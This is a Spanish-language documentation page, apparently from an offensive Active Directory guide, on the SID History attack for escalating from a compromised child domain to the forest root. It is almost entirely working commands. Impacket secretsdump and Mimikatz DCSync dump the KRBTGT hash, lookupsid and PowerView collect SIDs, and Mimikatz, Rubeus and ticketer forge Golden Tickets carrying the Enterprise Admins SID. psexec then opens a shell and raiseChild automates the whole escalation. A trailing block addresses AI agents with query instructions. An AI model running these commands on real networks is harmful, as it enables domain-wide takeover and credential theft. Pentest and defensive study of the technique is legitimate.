# SID History

## Descripción

Este ataque permite el compromiso de un dominio principal una vez que el dominio secundario ha sido comprometido.&#x20;

Dentro de un mismo bosque de Active Directory, la propiedad `sIDHistory` se respeta cuando no existe la protección de filtrado SID, por lo tanto, si un usuario en un dominio secundario tiene en su `sIDHistory` establecido el grupo Enterprise Admins (que solo existe en el dominio principal), se lo trata como miembro de este grupo, lo que permite el acceso administrativo a todo el bosque.&#x20;

Es decir, podemos crear un Golden Ticket desde el dominio secundario comprometido para comprometer el dominio principal.

## Linux/Unix

1\) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Impacket (secretsdump).

```shell
# impacket-secretsdump
secretsdump.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> -just-dc-user <SECONDARY>\krbtgt
```

2\) Obtención de SID del dominio secundario utilizando Impacket (lookupsid).

```shell
# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC-secondary> | grep "Domain SID"
```

3\) Obtención de SID del grupo "Enterprise Admins" del dominio principal utilizando Impacket (lookupsid).

```shell
# impacket-lookupsid
lookupsid.py <SECONDARY.ACME.LOCAL>/<user>:"<password>"@<IP-address-DC> | grep -B12 "Enterprise Admins"
```

* SID grupo "Enterprise Admins": `Domain SID-Enterprise Admins RID`

4\) Creación de Golden Ticket con Impacket (ticketer).

```shell
# impacket-ticketer
ticketer.py -nthash <NT-hash-user-KRBTGT> -domain <SECONDARY.ACME.LOCAL> -domain-sid <SID-secondary-domain> -extra-sid <SID-Enterprise-Admins-group> Administrator
```

5\) Configuración de la variable de entorno KRB5CCNAME con Golden Ticket.

```shell
export KRB5CCNAME=Administrator.ccache
```

6\) Obtención de shell utilizando Impacket (psexec).

```shell
# impacket-psexec
psexec.py <SECONDARY.ACME.LOCAL>/Administrator@<DC01.ACME.LOCAL> -k -no-pass -target-ip <IP-address-DC>
```

7\) Escala de privilegios desde el dominio secundario al dominio principal de forma automatizada utilizando Impacket (raiseChild).

```shell
# impacket-raiseChild
raiseChild.py -target-exec <IP-address-DC> <SECONDARY.ACME.LOCAL>/<user>:"<password>"
```

## Windows

1\) Obtención de hash NT de usuario KRBTGT de dominio secundario utilizando Mimikatz.

```shell
.\mimikatz.exe
lsadump::dcsync /user:<SECONDARY>\krbtgt
```

2\) Obtención de SID del dominio secundario (actual) utilizando PowerView.

```powershell
Get-DomainSID
```

3\) Obtención de SID del grupo "Enterprise Admins" del dominio principal.

```powershell
# PowerView
Get-DomainGroup -Domain <ACME.LOCAL> -Identity "Enterprise Admins" | select distinguishedname, objectsid

# Módulo ActiveDirectory PowerShell
Get-ADGroup -Identity "Enterprise Admins" -Server "<ACME.LOCAL>"
```

4\) Creación de Golden Ticket con Mimikatz.

4.1) Inyectar Golden Ticket en la sesión actual.

```shell
.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ptt
```

Verificar inyección de Golden Ticket en la sesión actual.

```shell
klist
dir \\<DC01.ACME.LOCAL>\C$
```

4.2) Exportar Golden Ticket.

```shell
.\mimikatz.exe
kerberos::golden /user:Administrator /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /krbtgt:<NT-hash-user-KRBTGT> /sids:<SID-Enterprise-Admins-group> /ticket:golden-ticket.kirbi
```

Importar Golden Ticket en sesión con Rubeus.

```shell
.\Rubeus.exe createnetonly /program:cmd.exe /show
.\Rubeus.exe ptt /ticket:golden-ticket.kirbi
dir \\<DC01.ACME.LOCAL>\C$
```

5\) Creación de Golden Ticket con Rubeus.

5.1) Inyectar Golden Ticket en la sesión actual.

```shell
.\Rubeus.exe golden /rc4:<NT-hash-user-KRBTGT> /domain:<SECONDARY.ACME.LOCAL> /sid:<SID-secondary-domain> /sids:<SID-Enterprise-Admins-group> /user:Administrator /ptt
```

Verificar inyección de Golden Ticket en la sesión actual.

```shell
klist
dir \\<DC01.ACME.LOCAL>\C$
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://activedirectory.mrw0l05zyn.cl/escalamiento-de-privilegios-en-relaciones-de-confianza-de-dominio/sid-history.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
